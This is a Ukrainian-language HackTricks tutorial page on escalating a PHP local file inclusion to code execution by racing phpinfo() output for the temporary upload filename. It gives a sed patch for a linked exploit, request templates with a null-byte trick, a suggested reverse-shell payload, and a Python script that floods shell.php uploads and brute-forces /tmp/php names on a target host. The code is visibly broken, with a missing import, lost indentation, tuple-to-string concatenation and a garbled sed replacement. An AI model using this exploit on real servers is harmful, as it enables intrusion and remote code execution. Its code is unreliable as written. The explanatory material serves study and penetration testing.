tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Щоб експлуатувати цю вразливість, вам потрібно: Вразливість LFI, сторінка, де відображається phpinfo(), "file_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Вам потрібно виправити експлойт (змінити => на =>). Для цього ви можете зробити:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Вам потрібно також змінити payload на початку експлуатації (наприклад, для php-rev-shell), REQ1 (це має вказувати на сторінку phpinfo і повинно містити заповнення, тобто: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), та LFIREQ (це має вказувати на вразливість LFI, тобто: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Перевірте подвійну "%" під час експлуатації нульового символу)

Теорія

Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється.

Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати ім'я тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.

У Windows файли зазвичай зберігаються в C:\Windows\temp\php

У linux ім'я файлу зазвичай є випадковим і розташоване в /tmp. Оскільки ім'я випадкове, потрібно витягти звідкись ім'я тимчасового файлу і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення змінної $_FILES всередині вмісту функції "phpconfig()".

phpinfo()

PHP використовує буфер 4096B, і коли він повний, він надсилається клієнту. Потім клієнт може надсилати багато великих запитів (використовуючи великі заголовки) завантажуючи php зворотний shell, чекати на першу частину phpinfo(), що повертається (де вказується ім'я тимчасового файлу) і намагатися отримати доступ до тимчасового файлу до того, як php сервер видалить файл, експлуатуючи вразливість LFI.

Скрипт Python для спроби брутфорсити ім'я (якщо довжина = 6)

python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks